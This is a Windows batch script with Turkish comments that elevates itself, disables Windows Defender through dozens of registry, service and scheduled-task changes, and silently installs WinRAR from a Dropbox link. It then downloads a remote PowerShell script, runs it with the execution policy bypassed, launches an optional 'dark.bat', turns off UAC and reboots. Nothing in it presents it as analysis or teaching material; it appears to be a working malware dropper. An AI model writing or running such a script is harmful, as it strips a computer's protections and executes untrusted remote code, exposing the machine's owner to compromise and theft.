@echo off setlocal enabledelayedexpansion rem Yönetici hakları kontrolü net session >nul 2>&1 if %ERRORLEVEL% neq 0 ( powershell -Command "Start-Process '%~f0' -Verb RunAs" exit /b ) rem İlerleme kontrolü için bayrak dosyası set "flag_file=C:\progress_flag.txt" rem Eğer betik tamamlanmışsa, bayrak dosyasını sil if exist "%flag_file%" ( set /p progress=<%flag_file% if "%progress%"=="3" ( del %flag_file% goto step3 ) ) rem Bayrak dosyası varsa, kaldığı yerden devam et if exist "%flag_file%" ( set /p progress=<%flag_file% goto step%progress% ) else ( rem İlk çalıştırma, bayrak dosyasını oluştur echo 1 > %flag_file% goto step1 ) :step1 rem Windows Defender ayarları reg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f >nul 2>&1 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f >nul 2>&1 reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f >nul 2>&1 reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f >nul 2>&1 reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f >nul 2>&1 reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f >nul 2>&1 schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable >nul 2>&1 schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable >nul 2>&1 schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable >nul 2>&1 schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable >nul 2>&1 schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable >nul 2>&1 reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f >nul 2>&1 reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f >nul 2>&1 reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f >nul 2>&1 reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f >nul 2>&1 reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f >nul 2>&1 reg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f >nul 2>&1 reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f >nul 2>&1 reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f >nul 2>&1 reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f >nul 2>&1 reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f >nul 2>&1 echo 2 > %flag_file% goto step2 :step2 rem WinRAR kurulumu if exist "C:\Program Files\WinRAR\WinRAR.exe" ( goto step3 ) set "winrar_url=https://www.dropbox.com/scl/fi/a3ty73ze62hvosdqz0y81/winrar-x64-701.exe?rlkey=yzo6ali9vck5gnwz8nwb7xke3&st=69iph8pm&dl=1" set "winrar_installer=C:\winrar-x64-701.exe" powershell -command "Invoke-WebRequest -Uri '%winrar_url%' -OutFile '%winrar_installer%'" if exist "%winrar_installer%" ( start /wait "" "%winrar_installer%" /S if exist "C:\Program Files\WinRAR\WinRAR.exe" ( goto step3 ) else ( exit /b ) ) else ( exit /b ) :step3 rem PowerShell betiğini indir ve çalıştır set "ps_url=https://www.dropbox.com/scl/fi/ol9qbywd21kgqurvk90bv/powershell.ps1?rlkey=i2qt7ldh62guqfghlsbksbo4z&st=685tuuxi&dl=1" set "ps_file=%USERPROFILE%\Downloads\powershell.ps1" powershell -command "Invoke-WebRequest -Uri '%ps_url%' -OutFile '%ps_file%'" if exist "%ps_file%" ( powershell -ExecutionPolicy Bypass -File "%ps_file%" echo 3 > %flag_file% goto step3b ) else ( exit /b ) :step3b if exist "%USERPROFILE%\Downloads\dark.bat" ( start "" "%USERPROFILE%\Downloads\dark.bat" echo 3 > %flag_file% goto disableUAC ) else ( echo 3 > %flag_file% goto disableUAC ) :disableUAC rem UAC'yi devre dışı bırak reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f >nul 2>&1 rem Bilgisayarı yeniden başlat shutdown /r /t 0 exit /b